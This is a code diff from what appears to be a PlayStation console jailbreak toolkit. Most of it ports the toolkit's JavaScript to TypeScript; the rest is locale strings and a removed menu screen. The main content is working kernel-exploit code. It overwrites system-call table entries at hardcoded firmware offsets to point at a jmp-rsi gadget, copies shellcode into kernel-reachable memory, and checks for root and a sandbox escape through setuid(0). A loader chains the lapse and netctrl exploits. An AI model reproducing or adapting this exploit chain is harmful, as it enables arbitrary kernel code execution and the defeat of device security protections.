debug('Original sy_thrcnt: ' + hex(sy_thrcnt ?? 0))
|
||||
|
||||
if (!sy_narg || !sy_call || !sy_thrcnt) {
|
||||
debug('ERROR: Failed to read original sysent[661] values')
|
||||
return false
|
||||
}
|
||||
|
||||
// Calculate jmp rsi gadget address
|
||||
const jmp_rsi_gadget = kernel.addr.base.add(kernel_offset.JMP_RSI_GADGET)
|
||||
@@ -779,8 +902,8 @@ function apply_kernel_patches (fw_version) {
|
||||
debug('Shellcode buffer @ ' + hex(shellcode_buf))
|
||||
|
||||
// Copy shellcode to userspace buffer
|
||||
for (var i = 0; i < shellcode.length; i++) {
|
||||
write8(shellcode_buf.add(i), shellcode[i])
|
||||
for (let i = 0; i < shellcode.length; i++) {
|
||||
write8(shellcode_buf.add(i), shellcode[i]!)
|
||||
}
|
||||
|
||||
// Verify first bytes
|
||||
@@ -836,8 +959,8 @@ function apply_kernel_patches (fw_version) {
|
||||
|
||||
// 3. Copy shellcode to mapped memory
|
||||
debug('Copying shellcode to ' + hex(mapping_addr) + '...')
|
||||
for (var j = 0; j < shellcode.length; j++) {
|
||||
write8(mapping_addr.add(j), shellcode[j])
|
||||
for (let j = 0; j < shellcode.length; j++) {
|
||||
write8(mapping_addr.add(j), shellcode[j]!)
|
||||
}
|
||||
|
||||
// Verify
|
||||
@@ -853,7 +976,7 @@ function apply_kernel_patches (fw_version) {
|
||||
// === Verify 12.00 kernel patches ===
|
||||
if (fw_version === '12.00' || fw_version === '12.02') {
|
||||
debug('Verifying 12.00 kernel patches...')
|
||||
var patch_errors = 0
|
||||
let patch_errors = 0
|
||||
|
||||
// Patch offsets and expected values for 12.00
|
||||
const patches_to_verify = [
|
||||
@@ -883,8 +1006,8 @@ function apply_kernel_patches (fw_version) {
|
||||
{ off: 0x1102dac, exp: 0x01, name: 'sysent11_thrcnt', size: 4 },
|
||||
]
|
||||
|
||||
for (p of patches_to_verify) {
|
||||
var actual
|
||||
for (const p of patches_to_verify) {
|
||||
let actual
|
||||
if (p.size === 1) {
|
||||
actual = Number(kernel.read_byte(kernel.addr.base.add(p.off)))
|
||||
} else if (p.size === 2) {
|
||||
@@ -904,10 +1027,10 @@ function apply_kernel_patches (fw_version) {
|
||||
// Special check for sysent[11] sy_call - should point to jmp [rsi] gadget
|
||||
const sysent11_call = kernel.read_qword(kernel.addr.base.add(0x1102d88))
|
||||
const expected_gadget = kernel.addr.base.add(0x47b31)
|
||||
if (sysent11_call.eq(expected_gadget)) {
|
||||
if (sysent11_call && sysent11_call.eq(expected_gadget)) {
|
||||
debug(' [OK] sysent11_call -> jmp_rsi @ ' + hex(sysent11_call))
|
||||
} else {
|
||||
debug(' [FAIL] sysent11_call: expected ' + hex(expected_gadget) + ', got ' + hex(sysent11_call))
|
||||
debug(' [FAIL] sysent11_call: expected ' + hex(expected_gadget) + ', got ' + hex(sysent11_call ?? 0))
|
||||
patch_errors++
|
||||
}
|
||||
|
||||
@@ -929,8 +1052,8 @@ function apply_kernel_patches (fw_version) {
|
||||
|
||||
return true
|
||||
} catch (e) {
|
||||
debug('apply_kernel_patches error: ' + e.message)
|
||||
debug(e.stack)
|
||||
debug('apply_kernel_patches error: ' + (e as Error).message)
|
||||
debug((e as Error).stack ?? '')
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,27 @@
|
||||
// Language translations
|
||||
// Detected locale: jsmaf.locale
|
||||
|
||||
var lang = {}
|
||||
export const lang = {
|
||||
jailbreak: 'Jailbreak',
|
||||
payloadMenu: 'Payload Menu',
|
||||
config: 'Config',
|
||||
exit: 'Exit',
|
||||
back: 'Back',
|
||||
autoLapse: 'Auto Lapse',
|
||||
autoPoop: 'Auto Poop',
|
||||
autoClose: 'Auto Close',
|
||||
totalAttempts: 'Total Attempts: ',
|
||||
successes: 'Successes: ',
|
||||
failures: 'Failures: ',
|
||||
successRate: 'Success Rate: ',
|
||||
failureRate: 'Failure Rate: ',
|
||||
loadingMainMenu: 'Loading main menu...',
|
||||
mainMenuLoaded: 'Main menu loaded',
|
||||
loadingConfig: 'Loading config UI...',
|
||||
configLoaded: 'Config UI loaded'
|
||||
}
|
||||
|
||||
var detectedLocale = jsmaf.locale || 'en'
|
||||
const detectedLocale = jsmaf.locale || 'en'
|
||||
log('Detected locale: ' + detectedLocale)
|
||||
|
||||
switch (detectedLocale) {
|
||||
@@ -27,69 +45,69 @@ switch (detectedLocale) {
|
||||
lang.loadingConfig = 'Cargando configuracion...'
|
||||
lang.configLoaded = 'Configuracion cargada'
|
||||
break
|
||||
//vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
|
||||
//~ case 'ar':
|
||||
//~ // Arabic
|
||||
//~ lang.jailbreak = 'Jailbreak'
|
||||
//~ lang.payloadMenu = 'قائمة الحمولات'
|
||||
//~ lang.config = 'الاعدادات'
|
||||
//~ lang.exit = 'خروج'
|
||||
//~ lang.back = 'رجوع'
|
||||
//~ lang.autoLapse = 'Auto Lapse'
|
||||
//~ lang.autoPoop = 'Auto Poop'
|
||||
//~ lang.autoClose = 'اغلاق تلقائي'
|
||||
//~ lang.totalAttempts = 'اجمالي المحاولات: '
|
||||
//~ lang.successes = 'النجاحات: '
|
||||
//~ lang.failures = 'الاخفاقات: '
|
||||
//~ lang.successRate = 'معدل النجاح: '
|
||||
//~ lang.failureRate = 'معدل الفشل: '
|
||||
//~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
|
||||
//~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
|
||||
//~ lang.loadingConfig = '...جاري تحميل الاعدادات'
|
||||
//~ lang.configLoaded = 'تم تحميل الاعدادات'
|
||||
//~ break
|
||||
// vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
|
||||
// ~ case 'ar':
|
||||
// ~ // Arabic
|
||||
// ~ lang.jailbreak = 'Jailbreak'
|
||||
// ~ lang.payloadMenu = 'قائمة الحمولات'
|
||||
// ~ lang.config = 'الاعدادات'
|
||||
// ~ lang.exit = 'خروج'
|
||||
// ~ lang.back = 'رجوع'
|
||||
// ~ lang.autoLapse = 'Auto Lapse'
|
||||
// ~ lang.autoPoop = 'Auto Poop'
|
||||
// ~ lang.autoClose = 'اغلاق تلقائي'
|
||||
// ~ lang.totalAttempts = 'اجمالي المحاولات: '
|
||||
// ~ lang.successes = 'النجاحات: '
|
||||
// ~ lang.failures = 'الاخفاقات: '
|
||||
// ~ lang.successRate = 'معدل النجاح: '
|
||||
// ~ lang.failureRate = 'معدل الفشل: '
|
||||
// ~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
|
||||
// ~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
|
||||
// ~ lang.loadingConfig = '...جاري تحميل الاعدادات'
|
||||
// ~ lang.configLoaded = 'تم تحميل الاعدادات'
|
||||
// ~ break
|
||||
|
||||
//~ case 'ko':
|
||||
//~ // Korean
|
||||
//~ lang.jailbreak = '탈옥'
|
||||
//~ lang.payloadMenu = '페이로드 메뉴'
|
||||
//~ lang.config = '설정'
|
||||
//~ lang.exit = '종료'
|
||||
//~ lang.back = '뒤로'
|
||||
//~ lang.autoLapse = '자동 Lapse'
|
||||
//~ lang.autoPoop = '자동 Poop'
|
||||
//~ lang.autoClose = '자동 닫기'
|
||||
//~ lang.totalAttempts = '총 시도: '
|
||||
//~ lang.successes = '성공: '
|
||||
//~ lang.failures = '실패: '
|
||||
//~ lang.successRate = '성공률: '
|
||||
//~ lang.failureRate = '실패율: '
|
||||
//~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
|
||||
//~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
|
||||
//~ lang.loadingConfig = '설정 로딩중...'
|
||||
//~ lang.configLoaded = '설정 로딩 완료'
|
||||
//~ break
|
||||
// ~ case 'ko':
|
||||
// ~ // Korean
|
||||
// ~ lang.jailbreak = '탈옥'
|
||||
// ~ lang.payloadMenu = '페이로드 메뉴'
|
||||
// ~ lang.config = '설정'
|
||||
// ~ lang.exit = '종료'
|
||||
// ~ lang.back = '뒤로'
|
||||
// ~ lang.autoLapse = '자동 Lapse'
|
||||
// ~ lang.autoPoop = '자동 Poop'
|
||||
// ~ lang.autoClose = '자동 닫기'
|
||||
// ~ lang.totalAttempts = '총 시도: '
|
||||
// ~ lang.successes = '성공: '
|
||||
// ~ lang.failures = '실패: '
|
||||
// ~ lang.successRate = '성공률: '
|
||||
// ~ lang.failureRate = '실패율: '
|
||||
// ~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
|
||||
// ~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
|
||||
// ~ lang.loadingConfig = '설정 로딩중...'
|
||||
// ~ lang.configLoaded = '설정 로딩 완료'
|
||||
// ~ break
|
||||
|
||||
//~ case 'ja':
|
||||
//~ // Japanese
|
||||
//~ lang.jailbreak = '脱獄'
|
||||
//~ lang.payloadMenu = 'ペイロードメニュー'
|
||||
//~ lang.config = '設定'
|
||||
//~ lang.exit = '終了'
|
||||
//~ lang.back = '戻る'
|
||||
//~ lang.autoLapse = '自動Lapse'
|
||||
//~ lang.autoPoop = '自動Poop'
|
||||
//~ lang.autoClose = '自動終了'
|
||||
//~ lang.totalAttempts = '試行回数: '
|
||||
//~ lang.successes = '成功: '
|
||||
//~ lang.failures = '失敗: '
|
||||
//~ lang.successRate = '成功率: '
|
||||
//~ lang.failureRate = '失敗率: '
|
||||
//~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
|
||||
//~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
|
||||
//~ lang.loadingConfig = '設定読み込み中...'
|
||||
//~ lang.configLoaded = '設定読み込み完了'
|
||||
//~ break
|
||||
// ~ case 'ja':
|
||||
// ~ // Japanese
|
||||
// ~ lang.jailbreak = '脱獄'
|
||||
// ~ lang.payloadMenu = 'ペイロードメニュー'
|
||||
// ~ lang.config = '設定'
|
||||
// ~ lang.exit = '終了'
|
||||
// ~ lang.back = '戻る'
|
||||
// ~ lang.autoLapse = '自動Lapse'
|
||||
// ~ lang.autoPoop = '自動Poop'
|
||||
// ~ lang.autoClose = '自動終了'
|
||||
// ~ lang.totalAttempts = '試行回数: '
|
||||
// ~ lang.successes = '成功: '
|
||||
// ~ lang.failures = '失敗: '
|
||||
// ~ lang.successRate = '成功率: '
|
||||
// ~ lang.failureRate = '失敗率: '
|
||||
// ~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
|
||||
// ~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
|
||||
// ~ lang.loadingConfig = '設定読み込み中...'
|
||||
// ~ lang.configLoaded = '設定読み込み完了'
|
||||
// ~ break
|
||||
|
||||
case 'pt':
|
||||
// Portuguese
|
||||
@@ -240,24 +258,7 @@ switch (detectedLocale) {
|
||||
|
||||
case 'en':
|
||||
default:
|
||||
// English (default)
|
||||
lang.jailbreak = 'Jailbreak'
|
||||
lang.payloadMenu = 'Payload Menu'
|
||||
lang.config = 'Config'
|
||||
lang.exit = 'Exit'
|
||||
lang.back = 'Back'
|
||||
lang.autoLapse = 'Auto Lapse'
|
||||
lang.autoPoop = 'Auto Poop'
|
||||
lang.autoClose = 'Auto Close'
|
||||
lang.totalAttempts = 'Total Attempts: '
|
||||
lang.successes = 'Successes: '
|
||||
lang.failures = 'Failures: '
|
||||
lang.successRate = 'Success Rate: '
|
||||
lang.failureRate = 'Failure Rate: '
|
||||
lang.loadingMainMenu = 'Loading main menu...'
|
||||
lang.mainMenuLoaded = 'Main menu loaded'
|
||||
lang.loadingConfig = 'Loading config UI...'
|
||||
lang.configLoaded = 'Config UI loaded'
|
||||
// English (default) which is already set
|
||||
break
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,10 @@
|
||||
import { libc_addr } from 'download0/userland'
|
||||
import { stats } from 'download0/stats-tracker'
|
||||
import { fn, mem, BigInt, utils } from 'download0/types'
|
||||
import { sysctlbyname } from 'download0/kernel'
|
||||
import { lapse } from 'download0/lapse'
|
||||
import { binloader_init } from 'download0/binloader'
|
||||
|
||||
// Load binloader first (just defines the function, doesn't execute)
|
||||
|
||||
// Now load userland and lapse
|
||||
@@ -8,48 +15,45 @@ if (typeof libc_addr === 'undefined') {
|
||||
include('stats-tracker.js')
|
||||
include('binloader.js')
|
||||
include('lapse.js')
|
||||
include('kernel.js')
|
||||
|
||||
// Increment total attempts
|
||||
stats.load()
|
||||
|
||||
function show_success () {
|
||||
export function show_success () {
|
||||
jsmaf.root.children.push(bg_success)
|
||||
log('Logging Success...')
|
||||
stats.incrementSuccess()
|
||||
}
|
||||
|
||||
var audio = new jsmaf.AudioClip()
|
||||
const audio = new jsmaf.AudioClip()
|
||||
audio.volume = 0.5 // 50% volume
|
||||
audio.open('file://../download0/sfx/bgm.wav')
|
||||
|
||||
function isJailbroken () {
|
||||
// Register syscalls
|
||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
||||
fn.register(24, 'getuid', [], 'bigint')
|
||||
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||
|
||||
// Get current UID
|
||||
var uid_before = fn.getuid()
|
||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||
const uid_before = fn.getuid()
|
||||
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||
log('UID before setuid: ' + uid_before_val)
|
||||
|
||||
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
||||
log('Attempting setuid(0)...')
|
||||
var setuid_success = false
|
||||
var error_msg = null
|
||||
|
||||
try {
|
||||
var setuid_result = fn.setuid(0)
|
||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||
const setuid_result = fn.setuid(0)
|
||||
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||
log('setuid returned: ' + setuid_ret)
|
||||
setuid_success = (setuid_ret === 0)
|
||||
} catch (e) {
|
||||
error_msg = e.toString()
|
||||
log('setuid threw exception: ' + error_msg)
|
||||
log('setuid threw exception: ' + (e as Error).toString())
|
||||
}
|
||||
|
||||
// Get UID after setuid attempt
|
||||
var uid_after = fn.getuid()
|
||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||
const uid_after = fn.getuid()
|
||||
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||
log('UID after setuid: ' + uid_after_val)
|
||||
|
||||
if (uid_after_val === 0) {
|
||||
@@ -61,68 +65,39 @@ function isJailbroken () {
|
||||
}
|
||||
}
|
||||
|
||||
var is_jailbroken = isJailbroken()
|
||||
const is_jailbroken = isJailbroken()
|
||||
|
||||
// Check if exploit has completed successfully
|
||||
function is_exploit_complete () {
|
||||
// Check if we're actually jailbroken
|
||||
if (typeof getuid !== 'undefined' && typeof is_in_sandbox !== 'undefined') {
|
||||
try {
|
||||
var uid = getuid()
|
||||
var sandbox = is_in_sandbox()
|
||||
// Should be root (uid=0) and not sandboxed (0)
|
||||
if (!uid.eq(0) || !sandbox.eq(0)) {
|
||||
return false
|
||||
}
|
||||
} catch (e) {
|
||||
fn.register(24, 'getuid', [], 'bigint')
|
||||
fn.register(585, 'is_in_sandbox', [], 'bigint')
|
||||
try {
|
||||
const uid = fn.getuid()
|
||||
const sandbox = fn.is_in_sandbox()
|
||||
// Should be root (uid=0) and not sandboxed (0)
|
||||
if (!uid.eq(0) || !sandbox.eq(0)) {
|
||||
return false
|
||||
}
|
||||
} catch (e) {
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
function write8 (addr, val) {
|
||||
mem.view(addr).setUint8(0, val & 0xFF, true)
|
||||
}
|
||||
|
||||
function write16 (addr, val) {
|
||||
mem.view(addr).setUint16(0, val & 0xFFFF, true)
|
||||
}
|
||||
|
||||
function write32 (addr, val) {
|
||||
mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true)
|
||||
}
|
||||
|
||||
function write64 (addr, val) {
|
||||
function write64 (addr: BigInt, val: BigInt | number) {
|
||||
mem.view(addr).setBigInt(0, new BigInt(val), true)
|
||||
}
|
||||
|
||||
function read8 (addr) {
|
||||
return mem.view(addr).getUint8(0, true)
|
||||
function read8 (addr: BigInt) {
|
||||
return mem.view(addr).getUint8(0)
|
||||
}
|
||||
|
||||
function read16 (addr) {
|
||||
return mem.view(addr).getUint16(0, true)
|
||||
}
|
||||
|
||||
function read32 (addr) {
|
||||
return mem.view(addr).getUint32(0, true)
|
||||
}
|
||||
|
||||
function read64 (addr) {
|
||||
return mem.view(addr).getBigInt(0, true)
|
||||
}
|
||||
|
||||
function malloc (size) {
|
||||
function malloc (size: number) {
|
||||
return mem.malloc(size)
|
||||
}
|
||||
|
||||
function hex (val) {
|
||||
if (val instanceof BigInt) { return val.toString() }
|
||||
return '0x' + val.toString(16).padStart(2, '0')
|
||||
}
|
||||
|
||||
function get_fwversion () {
|
||||
const buf = malloc(0x8)
|
||||
const size = malloc(0x8)
|
||||
@@ -138,15 +113,20 @@ function get_fwversion () {
|
||||
return null
|
||||
}
|
||||
|
||||
FW_VERSION = get_fwversion()
|
||||
const FW_VERSION: string | null = get_fwversion()
|
||||
|
||||
function compare_version (a, b) {
|
||||
if (FW_VERSION === null) {
|
||||
log('ERROR: Failed to determine FW version')
|
||||
throw new Error('Failed to determine FW version')
|
||||
}
|
||||
|
||||
const compare_version = (a: string, b: string) => {
|
||||
const a_arr = a.split('.')
|
||||
const amaj = a_arr[0]
|
||||
const amin = a_arr[1]
|
||||
const amaj = Number(a_arr[0])
|
||||
const amin = Number(a_arr[1])
|
||||
const b_arr = b.split('.')
|
||||
const bmaj = b_arr[0]
|
||||
const bmin = b_arr[1]
|
||||
const bmaj = Number(b_arr[0])
|
||||
const bmin = Number(b_arr[1])
|
||||
return amaj === bmaj ? amin - bmin : amaj - bmaj
|
||||
}
|
||||
|
||||
@@ -169,12 +149,12 @@ if (!is_jailbroken) {
|
||||
include('netctrl_c0w_twins.js')
|
||||
}
|
||||
|
||||
var start_time = Date.now()
|
||||
var max_wait_seconds = 5
|
||||
var max_wait_ms = max_wait_seconds * 1000
|
||||
const start_time = Date.now()
|
||||
const max_wait_seconds = 5
|
||||
const max_wait_ms = max_wait_seconds * 1000
|
||||
|
||||
while (!is_exploit_complete()) {
|
||||
var elapsed = Date.now() - start_time
|
||||
const elapsed = Date.now() - start_time
|
||||
|
||||
if (elapsed > max_wait_ms) {
|
||||
log('ERROR: Timeout waiting for exploit to complete (' + max_wait_seconds + ' seconds)')
|
||||
@@ -182,13 +162,13 @@ if (!is_jailbroken) {
|
||||
}
|
||||
|
||||
// Poll every 500ms
|
||||
var poll_start = Date.now()
|
||||
const poll_start = Date.now()
|
||||
while (Date.now() - poll_start < 500) {
|
||||
// Busy wait
|
||||
}
|
||||
}
|
||||
show_success()
|
||||
var total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
|
||||
const total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
|
||||
log('Exploit completed successfully after ' + total_wait + ' seconds')
|
||||
} else {
|
||||
utils.notify('Already Jailbroken!')
|
||||
@@ -203,10 +183,10 @@ try {
|
||||
log('Starting AIO FIX...')
|
||||
} catch (e) {
|
||||
log('ERROR: Failed to initialize binloader')
|
||||
log('Error message: ' + e.message)
|
||||
log('Error name: ' + e.name)
|
||||
if (e.stack) {
|
||||
log('Stack trace: ' + e.stack)
|
||||
log('Error message: ' + (e as Error).message)
|
||||
log('Error name: ' + (e as Error).name)
|
||||
if ((e as Error).stack) {
|
||||
log('Stack trace: ' + (e as Error).stack)
|
||||
}
|
||||
throw e
|
||||
}
|
||||
@@ -1,292 +0,0 @@
|
||||
(function () {
|
||||
include('languages.js')
|
||||
log(lang.loadingMainMenu)
|
||||
|
||||
var currentButton = 0
|
||||
var buttons = []
|
||||
var buttonTexts = []
|
||||
var buttonMarkers = []
|
||||
var buttonOrigPos = []
|
||||
var textOrigPos = []
|
||||
|
||||
var normalButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
var selectedButtonImg = 'file:///assets/img/button_over_9.png'
|
||||
|
||||
jsmaf.root.children.length = 0
|
||||
|
||||
new Style({name: 'white', color: 'white', size: 24})
|
||||
new Style({name: 'title', color: 'white', size: 32})
|
||||
|
||||
var audio = new jsmaf.AudioClip()
|
||||
audio.volume = 0.5 // 50% volume
|
||||
audio.open('file://../download0/sfx/bgm.wav')
|
||||
|
||||
var background = new Image({
|
||||
url: 'file:///../download0/img/multiview_bg_VAF.png',
|
||||
x: 0,
|
||||
y: 0,
|
||||
width: 1920,
|
||||
height: 1080
|
||||
})
|
||||
jsmaf.root.children.push(background)
|
||||
|
||||
var centerX = 960
|
||||
var logoWidth = 600
|
||||
var logoHeight = 338
|
||||
|
||||
var logo = new Image({
|
||||
url: 'file:///../download0/img/logo.png',
|
||||
x: centerX - logoWidth / 2,
|
||||
y: 50,
|
||||
width: logoWidth,
|
||||
height: logoHeight
|
||||
})
|
||||
jsmaf.root.children.push(logo)
|
||||
|
||||
var menuOptions = [
|
||||
{ label: lang.jailbreak, script: 'loader.js', textImg: 'jailbreak_btn_txt.png' },
|
||||
{ label: lang.payloadMenu, script: 'payload_host.js', textImg: 'pl_menu_btn_txt.png' },
|
||||
{ label: lang.config, script: 'config_ui.js', textImg: 'config_btn_txt.png' }
|
||||
]
|
||||
|
||||
var startY = 450
|
||||
var buttonSpacing = 120
|
||||
var buttonWidth = 400
|
||||
var buttonHeight = 80
|
||||
|
||||
for (var i = 0; i < menuOptions.length; i++) {
|
||||
var btnX = centerX - buttonWidth / 2
|
||||
var btnY = startY + i * buttonSpacing
|
||||
|
||||
var button = new Image({
|
||||
url: normalButtonImg,
|
||||
x: btnX,
|
||||
y: btnY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(button)
|
||||
jsmaf.root.children.push(button)
|
||||
|
||||
var marker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: btnX + buttonWidth - 50,
|
||||
y: btnY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(marker)
|
||||
jsmaf.root.children.push(marker)
|
||||
|
||||
var btnText = new jsmaf.Text()
|
||||
btnText.text = menuOptions[i].label
|
||||
btnText.x = btnX + buttonWidth / 2 - 60
|
||||
btnText.y = btnY + buttonHeight / 2 - 12
|
||||
btnText.style = 'white'
|
||||
buttonTexts.push(btnText)
|
||||
jsmaf.root.children.push(btnText)
|
||||
|
||||
buttonOrigPos.push({x: btnX, y: btnY})
|
||||
textOrigPos.push({x: btnText.x, y: btnText.y})
|
||||
}
|
||||
|
||||
var exitX = centerX - buttonWidth / 2
|
||||
var exitY = startY + menuOptions.length * buttonSpacing + 100
|
||||
|
||||
var exitButton = new Image({
|
||||
url: normalButtonImg,
|
||||
x: exitX,
|
||||
y: exitY,
|
||||
width: buttonWidth,
|
||||
height: buttonHeight
|
||||
})
|
||||
buttons.push(exitButton)
|
||||
jsmaf.root.children.push(exitButton)
|
||||
|
||||
var exitMarker = new Image({
|
||||
url: 'file:///assets/img/ad_pod_marker.png',
|
||||
x: exitX + buttonWidth - 50,
|
||||
y: exitY + 35,
|
||||
width: 12,
|
||||
height: 12,
|
||||
visible: false
|
||||
})
|
||||
buttonMarkers.push(exitMarker)
|
||||
jsmaf.root.children.push(exitMarker)
|
||||
|
||||
var exitText = new jsmaf.Text()
|
||||
exitText.text = lang.exit
|
||||
exitText.x = exitX + buttonWidth / 2 - 20
|
||||
exitText.y = exitY + buttonHeight / 2 - 12
|
||||
exitText.style = 'white'
|
||||
buttonTexts.push(exitText)
|
||||
jsmaf.root.children.push(exitText)
|
||||
|
||||
buttonOrigPos.push({x: exitX, y: exitY})
|
||||
textOrigPos.push({x: exitText.x, y: exitText.y})
|
||||
|
||||
var zoomInInterval = null
|
||||
var zoomOutInterval = null
|
||||
var prevButton = -1
|
||||
|
||||
function easeInOut (t) {
|
||||
return (1 - Math.cos(t * Math.PI)) / 2
|
||||
}
|
||||
|
||||
function animateZoomIn (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
if (zoomInInterval) jsmaf.clearInterval(zoomInInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.0
|
||||
var endScale = 1.1
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
|
||||
zoomInInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomInInterval)
|
||||
zoomInInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function animateZoomOut (btn, text, btnOrigX, btnOrigY, textOrigX, textOrigY) {
|
||||
if (zoomOutInterval) jsmaf.clearInterval(zoomOutInterval)
|
||||
var btnW = buttonWidth
|
||||
var btnH = buttonHeight
|
||||
var startScale = btn.scaleX || 1.1
|
||||
var endScale = 1.0
|
||||
var duration = 175
|
||||
var elapsed = 0
|
||||
var step = 16
|
||||
|
||||
zoomOutInterval = jsmaf.setInterval(function () {
|
||||
elapsed += step
|
||||
var t = Math.min(elapsed / duration, 1)
|
||||
var eased = easeInOut(t)
|
||||
var scale = startScale + (endScale - startScale) * eased
|
||||
|
||||
btn.scaleX = scale
|
||||
btn.scaleY = scale
|
||||
btn.x = btnOrigX - (btnW * (scale - 1)) / 2
|
||||
btn.y = btnOrigY - (btnH * (scale - 1)) / 2
|
||||
text.scaleX = scale
|
||||
text.scaleY = scale
|
||||
text.x = textOrigX - (btnW * (scale - 1)) / 2
|
||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||
|
||||
if (t >= 1) {
|
||||
jsmaf.clearInterval(zoomOutInterval)
|
||||
zoomOutInterval = null
|
||||
}
|
||||
}, step)
|
||||
}
|
||||
|
||||
function updateHighlight () {
|
||||
// Animate out the previous button
|
||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
||||
buttons[prevButton].url = normalButtonImg
|
||||
buttons[prevButton].alpha = 0.7
|
||||
buttons[prevButton].borderColor = 'transparent'
|
||||
buttons[prevButton].borderWidth = 0
|
||||
buttonMarkers[prevButton].visible = false
|
||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
||||
}
|
||||
|
||||
// Set styles for all buttons
|
||||
for (var i = 0; i < buttons.length; i++) {
|
||||
if (i === currentButton) {
|
||||
buttons[i].url = selectedButtonImg
|
||||
buttons[i].alpha = 1.0
|
||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
||||
buttons[i].borderWidth = 3
|
||||
buttonMarkers[i].visible = true
|
||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
||||
} else if (i !== prevButton) {
|
||||
buttons[i].url = normalButtonImg
|
||||
buttons[i].alpha = 0.7
|
||||
buttons[i].borderColor = 'transparent'
|
||||
buttons[i].borderWidth = 0
|
||||
buttons[i].scaleX = 1.0
|
||||
buttons[i].scaleY = 1.0
|
||||
buttons[i].x = buttonOrigPos[i].x
|
||||
buttons[i].y = buttonOrigPos[i].y
|
||||
buttonTexts[i].scaleX = 1.0
|
||||
buttonTexts[i].scaleY = 1.0
|
||||
buttonTexts[i].x = textOrigPos[i].x
|
||||
buttonTexts[i].y = textOrigPos[i].y
|
||||
buttonMarkers[i].visible = false
|
||||
}
|
||||
}
|
||||
|
||||
prevButton = currentButton
|
||||
}
|
||||
|
||||
function handleButtonPress () {
|
||||
if (currentButton === buttons.length - 1) {
|
||||
log('Exiting application...')
|
||||
try {
|
||||
if (typeof libc_addr === 'undefined') {
|
||||
log('Loading userland.js...')
|
||||
include('userland.js')
|
||||
}
|
||||
|
||||
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
|
||||
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
|
||||
|
||||
var pid = fn.getpid()
|
||||
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
||||
log('Current PID: ' + pid_num)
|
||||
log('Sending SIGKILL to PID ' + pid_num)
|
||||
|
||||
fn.kill(pid, new BigInt(0, 9))
|
||||
} catch (e) {
|
||||
log('ERROR during exit: ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
}
|
||||
|
||||
jsmaf.exit()
|
||||
} else if (currentButton < menuOptions.length) {
|
||||
var selectedOption = menuOptions[currentButton]
|
||||
log('Loading ' + selectedOption.script + '...')
|
||||
try {
|
||||
include(selectedOption.script)
|
||||
} catch (e) {
|
||||
log('ERROR loading ' + selectedOption.script + ': ' + e.message)
|
||||
if (e.stack) log(e.stack)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jsmaf.onKeyDown = function (keyCode) {
|
